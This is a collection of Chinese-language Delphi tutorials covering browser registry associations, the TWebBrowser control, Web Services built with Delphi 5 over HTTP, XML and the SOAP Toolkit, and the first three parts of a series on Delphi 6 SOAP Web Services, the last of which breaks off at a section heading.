HKEY_CLASSES_ROOT\http\shell\open\command
email:
HKEY_CLASSES_ROOT\mailto\shell\open\command

////////////////////////////////////////////////////
检测注册表中htm的关联exe文件
\HKEY_CLASSES_ROOT\.htm\ShellNew

也可使用FindExecute函数，如

FindExecute('temp.htm','',szExeName);
///////////////////////////////////////////////////////
>This should be the right key:
>HKEY_CLASSES_ROOT\htmlfile\shell\open\command

It can be different!
For Netscape it is
HKEY_CLASSES_ROOT\NetscapeMarkup\shell\open\command

You first have to read the alias name from HKEY_CLASSES_ROOT\.htm

You also have to check the HKEY_CLASSES_ROOT\htmlfile\shell\ if "open" is indeed
the default string.


程序中应用IE浏览器控件

在Delphi程序中使用IE浏览器控件

----

以TWebBrowser(IE4浏览器控件)为例子。
TWebBrowser的常见属性和方法主要有：
GoBack：方法，后退到上一个页面。
GoForward：方法，前进到下一个页面。
GoHome：方法，调用默认的主页页面，
该页面在IE的选项中设定。
GoSearch：方法，调用默认的搜索页面，
该页面在IE的选项中设定。
Navigate(const URL: WideString;
var Flags, TargetFrameName, PostData,
Headers: OleVariant)：方法，
调用指定页面，具体参数如下：
URL：指定页面的URL。Flags：
Word类型，作用还不清楚，可设为0。
TargetFrameName：WideString，
打开页面所在的Frame，为空字符串时在当前的
Frame中打开；TargetFrameName
指定的Frame存在时在Frame中打开；
TargetFrameName指定的Frame
不存在时则新建一个窗口打开，此时就相当
于调用外部的IE浏览器了。
PostData：boolean，是否允许发送数据。
Headers：WideString，
要发送的URL请求的头部数据。
Refresh：方法，刷新当前页面。
Stop：方法，停止调用或打开当前页面。
LocationName：属性(WideString)，当前位置的名称。
LocationURL：属性(WideString)，当前位置的URL。
Busy: 属性(Boolean)，是否正忙。
Visible: 属性(Boolean)，浏览器窗口是否可见。
(以下属性为在TWebBrowser新增，
TWebBrowser_V1中没有，其作用有待探索)
StatusBar: 属性(Boolean)，是否显示状态栏。
StatusText: 属性(WideString)，状态栏内容。
ToolBar: 属性(SYSINT)，工具栏中的内容。
MenuBar: 属性(Boolean)，是否显示菜单条。
FullScreen: 属性(Boolean)，是否全屏显示。
Offline: 属性(Boolean)，是否脱机浏览。
AddressBar: 属性(Boolean)，是否显示地址栏。

TWebBrowser的常见事件主要有：
OnStatusTextChange = procedure
(Sender: TObject;
const Text: WideString)
of object;

---- 在状态栏提示信息变化时发生，参数Text为当前状态栏提示信息，我们可以根据该信息来更新我们自己的状态栏提示信息或处理其它的事务．

---- OnProgressChange = procedure(Sender: TObject; Progress, ProgressMax: Integer) of object;

---- 在打开页面的进度变化时发生，参数Progress为当前进度，ProgressMax为总进度，我们可以根据这两个参数来更新我们自己的状态栏提示信息或处理其它的事务．

---- OnCommandStateChange = procedure(Sender: TObject; Command: Integer; Enable: WordBool) of object;

---- 当执行新的命令时发生，Command为命令标识，Enable为是否允许执行该命令． OnTitleChange = procedure(Sender: TObject; const Text: WideString) of object;

---- 在页面的标题发生变化时发生，Text为当前标题．

---- OnPropertyChange = procedure(Sender: TObject; const Property_: WideString) of object;

---- 在页面的属性发生变化时发生，Property_为属性名称 OnDownloadComplete: TNotifyEvent

---- 在下载页面完成后发生．

---- OnDownloadBegin: TNotifyEvent

---- 在下载页面开始前发生．

三、 在Delphi程序中应用IE浏览器控件的两个例子

---- （１）制作自己的帮助系统

---- 我们利用IE浏览器控件为用户制作了一个帮助系统，帮助文件由多个HTML文件组成，一个主题对应一个 HTML文件(Topic.HTM)，每个主题下的项目对应HTML文件中的一个标签(#Item)。这样在我们的系统中，就不必再调用IE浏览器或WinHelp程序来为用户提供帮助了。相信大家知道HTML帮助文件与传统的HLP帮助文件相比的优势所在吧。

---- 在下面例子中，演示了TWebBrowser(IE4浏览器控件)的Navigate方法的使用方法。请注意程序中的注释。(下面为程序的主要片段)。

{根据主题和项目调用帮助文件}
procedure ShowHelp
( HelpTopic,HelpItem : String );
var
TargetFrameName,PostData,
Heads,Flags : OleVariant;
URL : widestring;
begin
TargetFrameName := '';{指定Frame的空字符串时,
则在当前Frame中打开帮助文件}
PostData := false;{不发送数据}
Heads := '';{Header信息为空}
Flags := 0;{Flags设为0}
URL := HelpTopic + '.HTM#'+HelpItem;
{帮助信息的URL}
with formHelp.webbrowser do{在帮助窗口
中的IE浏览器控件中显示帮助信息}
begin
navigate(URL,Flags,TargetFrameName,
PostData,Heads);{显示帮助信息}
end;
end;

---- （２）显示一个GIF动画

---- 假如你还没有一个适合的动画显示控件，不妨试用一下下面方法．

procedure ShowGIF( GIFFileName : String );
var
TargetFrameName,PostData,Heads,Flags : OleVariant;
URL : widestring;
begin
TargetFrameName := '';{指定Frame的空字符串时,
则在当前Frame中打开动画文件}
PostData := false;{不发送数据}
Heads := '';{Header信息为空}
Flags := 0;{Flags设为0}
URL := GIFFileName;
with formGIF.webbrowser do{在指定窗口中的
IE浏览器控件中显示动画}
begin
navigate(URL,Flags,TargetFrameName
,PostData,Heads);{显示动画文件}
end;
end;


用Delphi 5创建Web Services
Lubomir Rosenstein

摘　要：用Delphi 5创建Web Services
关键字：Web services,Delphi 5
类　别：MS.NET

中文开发在线原创作品，未经允许，严禁任何形式的转载

Web Services是微软之梦。许多业界大腕开始对它感兴趣，并以极大的热情做好准备迎接新方向。在最后关头，甚至Borland也决定不置身事外。然后，在长久的沉默之后，突然抛出Delphi 6……

政治与梦想

我尚无缘得见新版本的Delphi。据可靠消息称，它提供对SOAP--Web Services的基础--的全面支持，而扔弃了Borland MIDAS。

为什么这只软件大鲨会对Web Services如此钟情？他们的动机很容易明白。Web services意味着不用再卖产品，而是卖服务。不再会有盗版。版权受到完全保护：制造商独家保有软件。和消费者签订的合同将会是长期的。而且如同上瘾一半，用户用得越多，就越是想用。对于大企业来说这就是白花花的银子、用户忠诚和集权。从坏处想，Web services也有可能使客户的交流和日常生活被主宰--新资本主义革命的混合体以及"大哥"--噩梦。

有人希望那只是刺激的白日梦。只有在未来才能看到Web services在社会中所起的作用。但无庸置疑，它们已经使业界产生了极大的改变，就像PC和Internet的出现一样。而我们，开发人员，必须做好准备。

这里有一个简单的例子--执行某个数学计算，x+y什么的。（这是一个高度抽象的例子；你可以把它投射到真实世界中）。以前，要完成这个任务，用这样的代码：

function HaveSum (x: integer; y: integer): integer;
begin
Result:=x+y;
End;

后来，人们发明了OOP（面向对象编程）。于是我们就有了一个包括两个整数值和一个GetSum方法的ThaveSum类，然后用它创建一个对象实例。在设计层面上，这显得既雅致又高效（此出就不再继续讨论OOP的好处了）。跟着是微软的COM。对象不再只是被创建，更是一个生命体。程序设计变成协调所有这些生命体，完成某种任务，而非单纯做一个工匠的工作。

问题在于这些生命体并非都易于伺候，但Microsoft Office仍然实现了这一策略。理论上COM被设计为可以接收远程调用，如果一个办公室里有20个用户想知道x+y到底等于几，我们就只需要创建一个IhaveSum COM，然后分发、销售、回答所有这些用户的问题。

现在，Web services之梦来了：不分发产品，而是分发服务。如果谁要求服务，就要呼叫分发者执行，并且为服务付钱。软件用户与软件产品完全隔绝，他只关心产品给出的结果（而那就是在已然过去了的"黄金时代"里，购买或合法拷贝的真正原因）。

简单的Delphi 5例子

Web services的两大柱石--HTTP和XML已经为Delphi开发者所熟知了。下面我想展示用Delphi 5来实现Web services。希望Delphi 6的例子很快就可以给出。

首先我要实现HTTP协议。服务器可以是ASP或PHP页面。既然我们用Delphi，那就用Delphi CGI stand-alone可执行文件做服务器。只需要几分钟时间、一行代码就可以完成（我在解释给菜鸟听呢）。

选择 File（文件）- New（新建）- New Web Server Application（新Web服务器应用程序）。我们要做的事用CGI就可以了，而且便于调试。在真实环境中用ISAPI DLL会好些。于是我们得到一个WebModule。打开它的Action Editior，在OnAction事件中加入下面的代码：

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
Response.Content :=IntToStr( StrToIntDef(Request.QueryFields.Values['x'],0) +
StrToIntDef(Request.QueryFields.Values['y'],0));
end;

服务器计算两个变量之和，然后传送到客户端。

在Delphi中可以有多种方法实现HTTP协议。可以用WinInet API函数（在Marco Cantu的《精通Delphi 5》中有很好的例子）或者Indy组件（在Delphi 6中应该整合了Indy，也可以在http://www.nevrona.com/Indy下载。这里我打算用Microsoft Internet Transfer Control 6.0，所以你需要在Delphi中Import类型库MSINET.OCX。在INET98.CHM帮助文件里面可以找到更多信息。这个控件用起来很简单，在我们的例子中也只需要一行代码：

procedure TForm1.Button1Click(Sender: TObject);
begin
Label1.Caption :=
inet1.OpenURL('http://localhost/scripts/webcalc.exe?x='+Edit1.Text+'&y='
+Edit2.Text);
end;

控件向服务器发送请求，并且接收回答。OnStateChange事件允许我们得到操作的详细信息：

procedure TForm1.Inet1StateChanged(Sender: TObject; State: Smallint);
begin
case state of
icResolvingHost: statusbar1.Panels[0].Text :=
('寻找指定服务器的IP地址。');
icHostResolved: statusbar1.Panels[0].Text :=
(' 成功找到IP地址。');
icConnecting: statusbar1.Panels[0].Text :=
(' 正在连接到主机。');
icConnected: statusbar1.Panels[0].Text :=
(' 成功连接到主机。');
icRequesting: statusbar1.Panels[0].Text :=
(' 发送请求。');
icRequestSent: statusbar1.Panels[0].Text :=
(' 成功发送请求。');
icReceivingResponse: statusbar1.Panels[0].Text :=
('接收主机回应。');
icResponseReceived: statusbar1.Panels[0].Text :=
(' 成功接收到主机回应。');
icDisconnecting: statusbar1.Panels[0].Text :=
(' 从服务器断开。');
icDisconnected: statusbar1.Panels[0].Text :=
('成功从服务器断开。');
icError: statusbar1.Panels[0].Text :=
('与服务器通讯发生错误。');
icResponseCompleted: statusbar1.Panels[0].Text :=
('The request has completed and all data has been received');
end;
end;

1.gif (23279 Bytes)
图一：客户端

客户端应用程序做好了。它不自己做计算工作，而是依靠Webcalculator服务器完成任务。我们的Web services可以为任何人提供服务……下一个例子稍微高级些：使用XML传递变量。XML连初学者也应该掌握，它不过是储存和交换数据的一种标准格式而已。这回我用TNMHTTP的Post方法（在Delphi的FastNet控件组）：

Web.Post('http://localhost/scripts/webCalc.exe',' '+strX+'+strY+');

这个命令做了所有工作，不同之处在于它用来传递结构化了的XML文档。服务器需要解析XML。这是我们需要另一种技术：Charlie Calvert在《Delphi中的XML解析》种作了详细说明。我将用MSXML.DLL库来做服务器端XML解析。你需要import这个Microsoft库到Delphi中。同样，在OnAction事件中加入代码：

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean(;
var
doc : IXMLDOMDocument;
ElemList: IXMLDOMNodeList;
x, y:integer;
begin
Doc:= CreateOleObject('Microsoft.XMLDOM') as IXMLDOMDocument;
Doc.loadXML (Request.ContentFields.Text );
ElemList:= Doc.getElementsByTagName ('varX'):
x:= StrtoIntDef(ElemList.item[0].text,0);
ElemList:= Doc.getElementsByTagName ('varY);
y:= StrtoIntDef(ElemList.item[0].text,0);
Response.content:= #10+#13+InttoStr(x+y) ;
end;

可以用多种方法来读取XML文档。Microsoft XML SDK中有很好的文档。服务器做好了。XML被用来传递变量，而不只是x和y这么简单。

DELPHI 5 与 SOAP 例子

不用等Delphi 6，我们可以马上开始用SOAP工作。可以下载SOAP Toolkit 2.0，在Delphi 5中创建Web service。在最后一个例子中，我们用它来实现Webcalculator。

第一步，创建一个提供服务的COM对象。然后，构造一个WSDL（Web Service Description Language，Web服务描述语言）文件，用于Web services。幸运的是我们可以用SOAP Toolkit 2.0自动创建这些文件。最后一步，开发一个Delphi应用程序，它将使用服务。这样，我们要通过Delphi控制SOAP客户端。

开始。第一个任务是创建简单的COM对象。它只有一个接口和一个方法：GetSum。

ISummer = interface(Idispatch)
function GetSum(const x: WideString; const y: WideString): WideString;
safecall;

function TSummer.GetSum(const x, y: WideString): WideString;
begin
Result:= InttoStr(SysUtils.StrtoInt(x)+ SysUtils.StrtoInt(y);
end;

{和前一个例子差不多，是吧？像做一个Active Server Object一样。用Delphi写简单ASP的方法。编译为ActiveX Dll，发布到ASP文件：}

Set DelphiASPObj = Server.CreateObject("Project1.Summer")
Response.Write ( DelphiASPObj.GetSum(Request.QueryString.Item("x"),
Request.QueryString.Item("y")))
Set DelphiASPObj = Nothing
Response.End

2.gif (62630 Bytes)
图二 我们的COM Webcalculator，提供Web service

如果不出意外的话，计算机可以开始工作了。在浏览器中输入http://localhost/scripts/webcalculator.asp?x=3&y=8之类的地址，应该返回答案了。

接下来，安装SOAP Toolkit。下载地址：Microsoft - msdn-files/027/001/580/msdncompositedoc.xml。然后，从Toolkit菜单中选择WSDL生成器(generator)。输入服务名，ActiveX Dll的名称，还有生成WSDL、WSML的web目录。

最后，用三行代码创建客户端：

procedure TForm1.Button1Click(Sender: Tobject);

var
SoapClient: OleVariant;
SoapClient := CreateOleObject('MSSOAP.SoapClient');
begin
SoapClient.mssoapinit('http://localhost/scripts/sumservice.wsdl','SumService','SummerSoapPort');
showmessage(SoapClient.GetSum(Edit1.Text,Edit2.Text));
end;

搞掂啦。恭喜恭喜！我们拥有了自己的SOAP Webcalculator！

很容易把这个例子移植到真实软件环境：比如，一个web service，用来储存客户地址簿。

用Delphi 5、HTTP和XML就可以创建Web services。Import微软Simple Object Access Protocol（SOAP）Toolkit 2.0，使得这一切成为可能。下一版本的Delphi承诺百分之百支持SOAP，并能用这种新工具实现Web services。我们正在进入Web services时代，有一样是可以确定的：它将使我们--程序员--的生活更加兴奋。


Delphi6 新体验——Web Service（一）
Miracle

摘　要：关于在Delphi6下创建Web service的描述，主要是理论，
关键字：Web Service, Delphi 6
类　别：Delphi & IDE

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

(1)概论

Web Services是自包含（self-contained）的模块化应用程序，可以被跨越网络（例如World Wide Web）发布（publish）和调用（invoke）。Web Services提供完好的接口定义，说明所提供的服务。

Web Services被设计为允许客户端和服务器进行松散耦合。也就是说，服务器端的实现并不要求客户端应用某种特定的平台或者开发语言。除了在语言无关方式下定义接口之外，Web Services也被设计为允许使用多重通讯机制。

Delphi通过使用SOAP（简单对象访问协议）来实现对Web Services的支持。SOAP是为在分散分布式环境中交换信息而设计的标准轻量型协议。它使用XML来编码远程过程调用，通常使用HTTP作为通讯协议。要获得有关SOAP的更详细的信息，请在 http://www.w3.org/TR/SOAP/ 查看SOAP规范。

注意：虽然Delphi只支持基于SOAP和HTTP的Web Service，但其框架已经十分完整，可以被扩展到其他编码和通讯协议下工作。

Delphi以SOAP为基础的技术可以在Windows下运行，很快也将在Linux上实现，因此它可以作为跨平台分布式程序的基本组分。与发布使用CORBA的分布式程序不同，它在客户端不需要安装任何运行时软件。因为这种技术基于HTTP消息，它的优势在于在各种机器上都得到了广泛的支持。对Web Services的支持建立在Delphi的跨平台Web服务器应用体系结构顶端。

使用Delphi既可以创作实现Web Services的服务器，也可以开发调用这些服务的客户端。如果使用Delphi同时开发服务器和客户端应用程序，开发人员就可以共享定义Web Services接口的单一单元。另外，可以使用Delphi开发实现响应SOAP消息的Web Services的任意服务器程序的客户端，用Delphi开发的发布Web Services的服务器程序也可以被任意的客户端调用。

如果客户端或者服务器不是用Delphi创作的，你仍然可以通过使用WSDL（Web Services定义语言）文档来公布可以使用哪些接口或者引入如何调用这些接口的信息。在服务器端，你的应用程序可以发布一份WSDL文档来描述你的Web Services。在客户端，向导程序将帮助你引入已发布的WSDL文档，为你提供你所需要的接口定义和连接信息。

(2)创作支持Web Services的服务器

在Delphi中，支持Web Services的服务器是通过可调用（Invokable）接口构建的。可调用接口是编译后包含运行时类信息（RTTI）的接口。这份RTTI会在解释传入的客户端方法调用时用到，通过它方法调用才能够被正确的转换（marshal）。

除了可调用接口和实现它们的类之外，你的服务器需要两种组件：调度者（dispatcher）和调用者（invoker）。调度者（THTTPSoapDispatcher）是接收SOAP消息并将它们传送给调用者的的自动调度组件。调用者（THTTPSoapPascalInvoker）解释SOAP消息，辨别其调用的可调用接口，执行调用并且组装响应消息。

注意：THTTPSoapDispatcher和THTTPSoapPascalInvoker被设计为响应包含SOAP请求的HTTP消息。这种基础体系结构非常通用，不过，它也可以通过使用不同的调度者和调用者组件来支持其它协议。

只要你注册了你的可调用接口和它们的实现类，调度者和调用者就会自动处理所有（在HTTP请求信息的SOAP动作头中调用这些接口的）消息。

(3)构造一个Web Services服务器

通过下列步骤来构造一个实现Web Services的服务器程序。

1、定义构造你的Web Services的接口。这些接口定义必须是可调用接口。最好在单独的单元文件中创建你的接口定义，把它们从包含实现类的单元中分离出来。这样，定义接口的单元就可以同时被服务器和客户端程序所包含。在这个单元的初始化（initialization）区，添加注册这些接口的代码。

2、如果你的接口使用了任何复合（非标准）类型的数据，你就必须保证这些数据类型能够被正确转换（marshal）。Web Services应用程序只能处理包含说明自身结构的运行时类信息（RTTI）的特定对象。有关创建和注册描述复合类型的对象的详细信息，参见"在可调用接口中使用复合类型"一节。

3、定义并完成一系列类来实现你在第1步中定义的可调用接口。每一个实现类中，你可能还需要创建一个工厂过程来示例该类。在该单元的initialization段，增加代码来注册实现类。具体做法参见"创建和注册实现类"一节。

4、如果你的应用程序在试图执行SOAP请求时发生错误，错误会被自动编码封装成一个SOAP故障包，代替方法调用的结果被返回客户端。如果你想传送更多的信息，而不是一条简单的错误消息，可以创建自己的例外类，对错误进行编码并返回。具体做法参见"为Web Services创建自定义例外类"一节。

5、选择File/New/Other菜单项，在WebServices页，双击Soap Server application图标。选择实现Web Services的Web服务器应用程序的类型。关于各种类型Web服务器应用程序之间的不同，参见"Web服务器应用程序类型"一节。

6、向导生成一个包含三个组件的新Web Service应用程序：

一个是调用者组件（THTTPSOAPPascalInvoker）。调用者完成SOAP消息和你在第1步中定义的所有接口方法之间的转换。

一个是调度者组件（THTTPSoapDispatcher）。这个调度者会自动响应送入的SOAP消息并把它们传递给调用者。你可以使用它的WebDispatch属性来识别你的应用程序所响应的HTTP请求消息，包括设置PathInfo属性来指明指向你的应用程序的任何URL的路径部分，设置MethodType属性来指明请求消息的方法头。

一个是WSDL发布者（TWSDLHTMLPublisher）。WSDL发布者发布描述你的接口以及如何调用它们的WSDL文档。它使非Delphi编写的客户端程序也可以调用你的Web Service应用程序。

7、选择Project/Add To Project菜单项，把你在第1步到第4步中创建的单元文件加入Web服务器应用程序。
Delphi6 新体验——Web Service（二）
Miracle

摘　要：关于在Delphi6下创建Web service的描述，主要是理论，
关键字：Web service, Delphi6
类　别：Delphi & IDE

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

(4)定义可调用接口

要创建可定义接口，你只需要使用{$M+}编译选项来编译一个接口。任何可调用接口的继承接口也都是可调用的。不过，如果一个可调用接口从任何不可调用接口的继承，那么你的Web Service服务器的客户端只能调用定义在可调用接口和它的继承中的方法。从不可调用祖先中继承的方法不会与类信息一起被编译，所以也不能被客户端所调用。

Delphi定义了一个基础可调用接口IInvokable，可以被用作Web Service服务器面向客户端的所有接口的基础。IInvokable与基础借口（IInterface）是一样的，不过它在编译时使用了{$M+}编译选项，因此它和它的继承都会与RTTI一起被编译。

例如，下面的代码定义了一个可调用接口，它包含编码和解码数值的两种方法：

IEncodeDecode = interface(IInvokable)
['{C527B88F-3F8E-1134-80e0-01A04F57B270}']
function EncodeValue(Value: Integer): Double; stdcall;
function DecodeValue(Value: Double): Integer; stdcall;
end;
在Web Service应用程序可以使用该可调用接口之前，这个借口必须先使用"引用注册表（invocation registry）"进行注册。在服务器上，引用注册表条目允许调用者组件（THTTPSOAPPascalInvoke）定位用于执行接口调用的实现类。在客户端应用程序中，引用注册表条目允许组件查找定位可调用接口的信息并提供如何调用它的信息。

在接口定义单元的initialization区段，增加使用引用注册表来注册接口的代码。要访问引用注册表，请把InvokeRegistry单元增加到你的单元的uses语法段。InvokeRegistry单元定义了一个名为InvRegistry的全局函数，它返回所有已经注册的可调用接口、它们的实现类和创建实现类的实例的工厂的目录。

完成后，定义接口的单元看起来大致上应该跟下面的内容差不多：

unit EncodeDecode;
interface
type
IEncodeDecode = interface(IInvokable)
['{C527B88F-3F8E-1134-80e0-01A04F57B270}']
function EncodeValue(Value: Integer): Double; stdcall;
function DecodeValue(Value: Double): Integer; stdcall;
end;
implementation
uses InvokeRegistry;
initialization
InvRegistry.RegisterInterface(TypeInfo(IEncodeDecode));
end.
由于Web Services的接口必须具有一个名字空间以便在所有可能的Web Services的接口中区分它们，当你注册借口时引用注册表就会自动为接口生成一个名字空间。默认的名字空间由以下三部分构成：唯一标记该应用程序的字符串（AppNamespacePrefix变量）、接口名称、定义接口的单元的名称。

提示：最好把可调用接口的定义部分从实现它们的类所在的单元中分离出来，保存为一个独立的单元。这个单元可以同时被服务器和客户端应用程序所包含。由于生成的名字空间包含定义接口的单元名，在客户端和服务器应用程序之间共享同一单元可以使它们自动使用相同的名字空间。

(5)在可调用接口中使用复合类型

调用者组件（THTTPSOAPPascalInvoker）了解如何转换可调用接口中的标准类型。只要动态数组在后面提到的可远程传送注册表中注册，它也可以处理动态数组。但是，你不能通过更复杂的复合类型来传递数据，例如静态数组、接口、记录，或者类。作为替代，你需要把这些复合类型映射成一个包含运行时类信息（RTTI）的类，这样调用者就可以用它完成SOAP流中的数据与类型值之间的转换。可调用接口使用这个类而不是使用静态数组、记录、集合或者非可远程传送类。

在可调用接口中定义表述符合数据类型的类时，使用TRemotable作为基类。例如，如果你原先想把一个记录作为参数来传递，那就应该定义一个TRemotable类的继承，在新类的发布属性（published property）中包含记录的所有成员。

如果你的新TRemotable继承者在WSDL文档中表述的标准类型在Object Pascal中没有对应的标准类型，就应该使用TRemotableXS作为基类。TRemotableXS继承自TRemotable，声明了两个用于在你的新类和它的字符串表达之间进行转换的方法。应当通过覆盖XSToNative和NativeToXS方法来提供这种转换。

在定义TRemotable继承类的单元的initialization段中，必须使用可远程传送类型注册表来注册这个类。通过把InvokeRegistry单元加入到uses列表中来访问可远程传送类型注册表。这个单元声明了两个全局函数，RemClassRegistry和RemTypeRegistry，用来返回可远程传送类型注册表。你可以使用任何一个函数来获得用来注册你的可远程传送类的对象（这两个函数指向同一个注册表）。例如，下面一行代码来自XSBuiltIns单元，它注册了TXSDateTime，一个用于描述TDateTime值的可远程传送类。

RemClassRegistry.RegisterXSClass(TXSDateTime, XMLSchemaNameSpace, 'dateTime', True);
第一个参数是TRemotable继承类的名字。第二个参数是唯一标志新类名字空间的统一资源定位符（URI）。如果你提供一个空字符串，注册表会为你生成一个URI。第三个参数是你的类描述的数据类型的名字，如果你提供一个空字符串，注册表就使用类名。最后一个参数指明类实例的值能否作为字符串传送（不管你有没有实现XSToNative和NativeToXS方法）。

提示：最好在独立的单元中实现并注册TRemotabnle继承类，不要把它混放在应用程序的其它部分，包括声明和注册可调用接口的单元中。这样你就可以同时在客户端和服务器程序中使用这个类型定义单元，也可以在多个接口中使用这种数据类型。

如果你使用动态数组、枚举类型或者布尔类型作为参数，你不需要创建描述它们的可远程传送类，不过你还是得通过可远程传送类型注册表来注册它们。例如，如果你的接口像下面的样子使用一种类型：

type
TDateTimeArray = array of TXSDateTime;
你就必须把下面的注册代码加入声明这个动态数组的单元的initialization段。

RemTypeRegistry.RegisterXSInfo(TypeInfo(TDateTimeArray), MyNameSpace, 'DTarray', False);
这些参数与RegisterXSClass所使用的一致，不过第一个参数使用的是指向动态数组类型信息的指针，而不是对这个类的应用。

(6)创建和注册实现类

书写可调用接口实现的最简单的办法就是创建一个从TInvokableClass继承的类。增加包含你所支持的可调用接口的类声明，然后按下Ctrl+Shift+C调用类代码完成功能，借口成员会出现在类声明中，空的方法出现在单元的implementation段。

例如，实现在"定义可调用接口"一节中定义的接口的类的声明看起来应该如下所示：

TEncodeDecode = class(TInvokableClass, IEncodeDecode)
protected
function EncodeValue(Value: Integer): Double; stdcall;
function DecodeValue(Value: Double): Integer; stdcall;
end;
在声明该类的单元的implementation段填写EncodeValue和DecodeValue代码。

一旦你创建了一个实现类，就必须使用引用注册表来注册这个类。引用注册表使用它辨别实现已注册的可调用接口的类，并使它在调用者组件需要调用接口时提供给调用者使用。如果想注册实现类，在实现单元的initialization段调用InvRegistry全局函数返回的对象的RegisterInvokableClass方法：
InvRegistry.RegisterInvokableClass(TEncodeDecode);
你也可以创建不从TInvokableClass继承的实现类。不过，在这种情况下，你必须提供一个让引用注册表可以用来调用并创建类实例的工厂过程。

工厂过程必须是TCreateInstanceProc.类型，它返回你所创建的实现类的一个实例。如果该过程创建了一个新的实例，这个对象必须在它的接口引用计数降至0时自我解除（自动释放），原因是引用注册表不会显式释放对象实例。作为替代的解决办法，工厂过程可以返回可以返回一个被所有调用者共享的全局实例的引用。下面的代码说明后一种方法的实现：

procedure CreateEncodeDecode(out obj: TObject);
begin
if FEncodeDecode = nil then
begin
FEncodeDecode := TEncodeDecode.Create;
{save a reference to the interface so that the global instance doesn't free itself }
{保存一份对接口的引用以便全局实例不会自我释放}
FEncodeDecodeInterface := FEncodeDecode as IEncodeDecode;
end;
obj := FEncodeDecode; { return global instance }{返回全局实例}
end;
当时用工厂过程时，要将工厂过程作为第二个参数传递给RegisterInvokableClass方法。

InvRegistry.RegisterInvokableClass(TEncodeDecode, CreateEncodeDecode);

Delphi6 新体验——Web Service（三）
Miracle

摘　要：关于在Delphi6下创建Web service的描述，主要是理论，
关键字：Web Service, Delphi6
类　别：Delphi & IDE

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

(7)为Web Services创建自定义的意外类

当Web Services应用程序在执行SOAP请求过程中发生意外错误时，会自动将该意外的信息编码到一个SOAP意外包中，这个包将代替方法调用的结果返回给用户，然后在客户端触发此意外。默认情况下，客户端只是触发一个带有SOAP包中简单错误消息的普通意外（Exception）。不过，你可以通过使用继承自ERemotableException的意外类来发送附加的错误信息。你添加到该意外类中的所有发布属性的值都会被包括在SOAP意外包中，这样客户端就可以触发一个等价的意外。

要使用一个ERemotableException继承类，必须使用可远程传送类型注册表注册它。也就是说，在定义你的ERemotableException继承类的单元中，必须在uses段加入InvokeRegistry，然后调用RemTypeRegistry 全局函数返回的对象的RegisterXSClass方法进行注册。

如果客户端使用定义和注册你的ERemotableException继承类的同一个单元，当接收到SOAP意外包的时候，它就可以自动触发相应的意外类的实例，其中包含SOAP意外包中所有的属性值。

(8)为Web Service应用程序生成WSDL文档

如果你在Delphi客户端应用程序中包含定义和注册你的可调用接口、描述复合类型信息的类和你的可远程传送意外的相同单元，它就可以生成使用你的Web Service的调用。你需要做的只是提供你的Web Service应用程序所在的URL。

不过，你或许希望让你的Web Service能够为更广泛的客户端服务。例如，你也许要用不是使用Delphi书写的客户端程序。如果你计划发布服务器应用的多种版本，你大概不想给服务器一个单一的硬编码URL，而是想让客户端动态查找服务器的地址。对于这些情况而言，你可能想要发布一份WSDL文档来描述你的Web Service中的类型和接口以及如何调用它们的信息。

发布一份描述你的Web Service的WSDL文档，只需要在你的Web模块中包括一个TWSDLHTMLPublish组件。TWSDLHTMLPublish是一个自调度组件，可以自动响应传入的获取Web Service的WSDL文档列表的请求消息。使用WebDispatch属性指定客户端用来访问WSDL文档列表的URL路径信息。Web浏览器可以通过指定由服务器应用程序位置加WebDispatch属性路径构成的URL来请求WSDL文档的列表。这个URL看起来具有下面的形式：

http://www.myco.com/MyService.dll/WSDL
提示：如果你希望使用物理WSDL文件代替动态产生的信息，可以将WSDL文档显示在Web浏览器中，然后把它保存到文件。

不一定要从实现你的Web Service的同一个应用程序中发布WSDL文档。要创建一个只是用于发布WSDL文档的应用程序，可以忽略那些包含实现对象的单元，只包括定义和注册可调用接口、描述复合类型的可远程传送类以及可远程传送意外的单元即可。

默认情况下，WSDL文档发布时指明服务与发布的WSDL文档位于相同的URL（只是路径不同）。如果你发布的是Web Service应用程序的多个版本，或者用来发布WSDL的应用程序与实现Web Service的程序不同，就需要改变WSDL文档，以便包含在何处定位Web Service的更新信息。

更改URL需要使用WSDL管理器。第一部是激活管理器，可以通过设置TWSDLHTMLPublish组件的AdminEnabled属性为True来实现。然后，当你使用浏览器显示WSDL文档列表的时候，会同时显示一个按钮来管理它们。使用WSDL管理器来指定你在何处（URLs）发布你的Web Service应用程序。

(9)书写Web Services客户端

Delphi通过基于SOAP的绑定提供对客户端调用Web Services的支持。这些Web Services可以是用Delphi书写的服务器，也可以是任意在WSDL文档中定义了自身的Web Service的其它服务器。

如果服务器不是用Delphi书写的，你可以先引入描述服务器的WSDL文档，这个操作稍候叙述。如果服务器是用Delphi书写的，你就不需要使用WSDL文档：你只需要简单的将所有要在你的工程中使用的可调用接口的定义单元，以及所有描述复合类型的可远程传送类的定义单元、所有Web Service应用程序可以触发的可远程传送意外的定义单元加入即可。

注意：关于在Delphi Web Service服务器中创建定义可调用接口的单元的信息，请查看"定义可调用接口"一节；关于创建定义描述复合类型的可远程传送类的单元的信息，请查看"在可调用接口中使用复合类型"一节；关于创建定义可远程传送意外的单元的信息，请查看"为Web Service创建自定义的意外类"一节。

引入WSDL文档

在使用非Delphi书写的Web Service之前，必须引入一份定义服务的WSDL文档（或者一份XML模式 [ schema ] 文件）。Web Services引入者会创建一个定义并注册你所需要的接口和类型的单元。

如果想使用Web Services引入者，请选择File/New/Other菜单项，在WebServices页上双击Web Services importer图标。在随后出现的对话框中，指定WSDL文档（或者XML模式文件）的文件名，或者提供公布文档的URL。当按下Generate按钮后，引入者会根据在文档中定义的操作创建定义并注册可调用接口的单元，也会创建定义和注册文档中定义的描述类型的可远程传送类的单元。

http://www.codelphi.com/images/010719174256.GIF

如果WSDL文档或者XML模式文件使用了与Object Pascal关键字相同的标识符，引入者会自动调整它们的名字，以便生成的代码可以被正确编译。如果复合类型是内嵌定义的，引入者会将对应的可远程传递类的定义和注册代码加入到使用它们的可调用接口的同一单元中，否则，类型将在一个独立的单元中定义和注册。

调用可调用接口

